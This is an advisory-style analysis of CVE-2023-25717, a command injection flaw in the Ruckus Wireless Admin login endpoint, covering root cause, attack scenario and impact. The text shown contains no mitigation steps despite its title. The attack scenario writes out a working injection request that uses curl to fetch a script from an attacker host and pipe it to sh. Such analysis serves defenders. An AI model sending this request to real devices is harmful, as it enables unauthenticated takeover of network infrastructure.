Ruckus Wireless Admin <= 10.4 Unauthenticated Remote Code Execution (RCE) Vulnerability (CVE-2023-25717) Analysis & Mitigation Guide

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2023-25717) is a critical command injection and code injection vulnerability (CWE-94) residing in the login processing logic of the Ruckus Wireless Admin interface. The root cause is the lack of proper input validation and sanitization on user-supplied parameters (specifically the password field) within the /forms/doLogin endpoint before passing them to an internal system shell. This allows unauthenticated attackers to inject malicious shell metacharacters and execute arbitrary commands.

2. Exploitation Mechanics & Attack Scenario

An attacker can exploit this vulnerability without any authentication if the web management interface (HTTP/HTTPS) of the target device is exposed to the internet. By appending subshell execution syntax such as $() or backticks (` `) to the password` parameter in a simple HTTP GET request, the attacker forces the system to execute arbitrary commands.

Attack Scenario:

• The attacker scans for publicly accessible Ruckus Wireless Admin interfaces.
• The attacker sends a malicious GET request structured as follows:

/forms/doLogin?login_username=admin&password=password$(curl http://<attacker_ip>/malicious_script | sh)

• The vulnerable web server executes the injected command in the shell context, downloading and executing a malicious payload from the attacker's server.

3. Infrastructure & Business Impact

With a CVSS score of 9.8 (Critical) and its inclusion in the CISA KEV (Known Exploited Vulnerabilities) catalog, this vulnerability is actively exploited in the wild. Successful exploitation grants the attacker root-level access to the wireless network controller. This can lead to lateral movement within the internal network, interception of wireless traffic, data exfiltration, and botnet recruitment, posing a severe threat to enterprise infrastructure.
